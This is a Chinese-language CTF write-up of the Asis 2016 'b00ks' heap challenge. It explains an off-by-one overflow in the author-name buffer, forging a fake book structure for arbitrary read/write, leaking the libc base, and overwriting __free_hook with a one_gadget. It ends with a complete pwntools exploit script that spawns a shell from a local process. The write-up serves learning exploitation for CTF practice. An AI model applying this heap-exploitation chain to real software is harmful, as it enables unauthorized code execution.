前言

首先我们先大致了解一下什么是off_by_one,直接套用ctfwiki中的解释:

严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。

off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
  • 字符串操作不合适

一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性,基于Linux堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大。 此外,需要说明的一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based)的off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。

ok,至于具体的例子我就不过多赘述了,直接上ctfwiki中看他写出的那两个小例子就行

这里写的是wiki中写的那道题,[Asis_2016_b00ks]题目链接

题目分析

wiki的题我们就直接分析了,不再做过多测试。

手动运行一次过后,掏出我们的神器IDA开始生刚

通过Create a book这个函数我们可以大致写出它的结构体

1
2
3
4
5
6
7
struct book
{
int id;
char *name;
char *description;
int size;
}

并且每增加一本书,系统会自动开辟三块空间来分别存放namedescription和整本书的结构体book

在这里首先有一个点我们需要注意

1
2
3
4
5
6
7
8
9
10
v3 = malloc(0x20uLL);
if ( v3 )
{
*((_DWORD *)v3 + 6) = v1;
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = v5;
*((_QWORD *)v3 + 1) = ptr;
*(_DWORD *)v3 = ++unk_202024;
return 0LL;
}

v3就是创建的整个书本的指针,在 if 中的第二行我们可以看到程序将v3指针保存了起来,一路跟踪进去可以发现是 .bss 段的一个地址。

而这个时候,如果你能联想起在程序一开始的的那个 author name ,就可以发现一个惊喜。

在我们输入 author 的时候,系统会创建一个数组放在 .bss 段的一个位置,而这个位置刚好就在保存的 book 指针的正上方(如下图)

接下来我们来找漏洞点,最终,我们可以发现这个用于读取的函数

随便带个值算一下就可以发现他会溢出一个字节(溢出的是字符串数组的结束符 \x00 )。

这时需要注意一个问题,存放author的缓冲区只有 32 字节,而输入author的时候正好可以溢出一个字节,而author的下面就是存放 book 指针的地方,也就是说我们可以覆盖掉 book 指针的最后一个字节,使其变成 \x00 ,或者我们可以覆盖掉字符串的结束符 ( ̄y▽ ̄)~*捂嘴偷笑

攻击过程分析

整个看一下程序,发现没有system等函数,但是有个free,思路是将free函数通过变换让其直接变成shellcode,这样当我们使用free函数的时候就会自动执行shellcode,获取权限

接下来看整个程序,我们可以创建一个书本结构体,每新建一本书,系统会申请三个堆块分别用于存储 namedescriptionbook

其中,我们可以修改的有 description 和一开始我们输入的 author name,并且通过修改 author name的内容我们可以覆盖掉第一个 book 指针的最后两位

那么,我们是否可以 伪造一个book ,将这 “book” 的 description 指针指向一个真实的book结构体的 descrition 指针。这样,通过修改这个我们伪造的 book 的 description,我们就可以修改那个真实的 book 的 description 的内存空间,这样,再通过修改此时的 description ,我们就可以做到一个任意位置读写,

也就是说,我们完全用过它来修改 free 函数的关键部分,打开一个 libc 库,我们看看其中的 free 函数

可以看到,当 _free_hook 存在时,会直接返回它,我们跟进去可以看到它是一个名为**__free_hook** 的字符串(注意是两个“_”),这一点我们也可以在字符串窗口验证,搜索也可以到这个字符串

那这样就好弄多了,我们可以通过我们伪造的 book 来修改 真实的 book 的 description 让他指向 __free_hook ,这时,我们在通过修改那个真实的 book 的 description,也就是现在指向的 __free_hook 字符串,将他变成我们的shellcode就好了,至于shellcode,我们可以通过 “one_gadget” 来寻找 libc 中的shell直接运用

接下来的问题就是如何去构造那个伪造的 book。在上面我们知道 author name哪儿有一个漏洞可以改变指向 book 指针的位置,它能将指针的最后两位变成 “/x00”,在gdb中我们可以看到存放 book 的内存之前也就是 name 和 description 这两快内存,而 description 我们正好可以修改,那我们只要在 description 中按照 book 的格式伪造一块内存就能达到我们上述的目的了。

构造好折后要思考的是如何让book指针指过来,因为前面说过 book指针可以覆盖,那么,我们只要通过合理的申请内存的大小即可让 description 块的内容区域的最后两位为 “/x00”。这样,再将book覆盖以后就能指向我们伪造的 book 哪儿去。

至于修改“__free_hook”,我们需要知道libc的加载位置。这个的话我们可以通过偏移来计算。当要申请的内存超大的时候,堆的申请会以mmap的形式来进行,而这样申请下的内存与libc是有着固定的偏移的,这个偏移我们通过gdb就可以调试出来

EXP

EXP是ctf-challengs中自带的那个,但是这个题因为环境一变,有些东西就不一样了,所以得做出修改,根据上面的分析修改就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
context.log_level="debug"

binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")


def createbook(name_size,name,des_size,des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)

def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id=int(io.readline()[:-1])
io.readuntil(": ")
book_name=io.readline()[:-1]
io.readuntil(": ")
book_des=io.readline()[:-1]
io.readuntil(": ")
book_author=io.readline()[:-1]
return book_id,book_name,book_des,book_author

def createname(name):
io.readuntil("name: ")
io.sendline(name)

def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)

def editbook(book_id,new_des):
io.readuntil("> ")
io.sendline("3")
io.recvuntil(": ")
io.sendline(str(book_id))
io.recvuntil(": ")
io.sendline(new_des)

def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))

createname("A"*32)

#gdb.attach(io)

createbook(208,"a",100,"a")
createbook(0x21000,"a",0x21000,"b")

#gdb.attach(io)


book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))

payload=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xffff)
editbook(book_id_1,payload)
changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)
#gdb.attach(io)
book2_name_addr=u64(book_name.ljust(8,"\x00"))
book2_des_addr=u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
log.success("book2 des addr:"+hex(book2_des_addr))
libc_base=book2_des_addr - 0x58e010
log.success("libc base:"+hex(libc_base))

#gdb.attach(io)

free_hook=libc_base+libc.symbols["__free_hook"]
one_gadget=libc_base+0x4526a #0x45216 0x4526a 0xf02a4 0xf1147
log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))
#gdb.attach(io)

editbook(1,p64(free_hook))
#gdb.attach(io)
editbook(2,p64(one_gadget))

#gdb.attach(io)


deletebook(2)


io.interactive()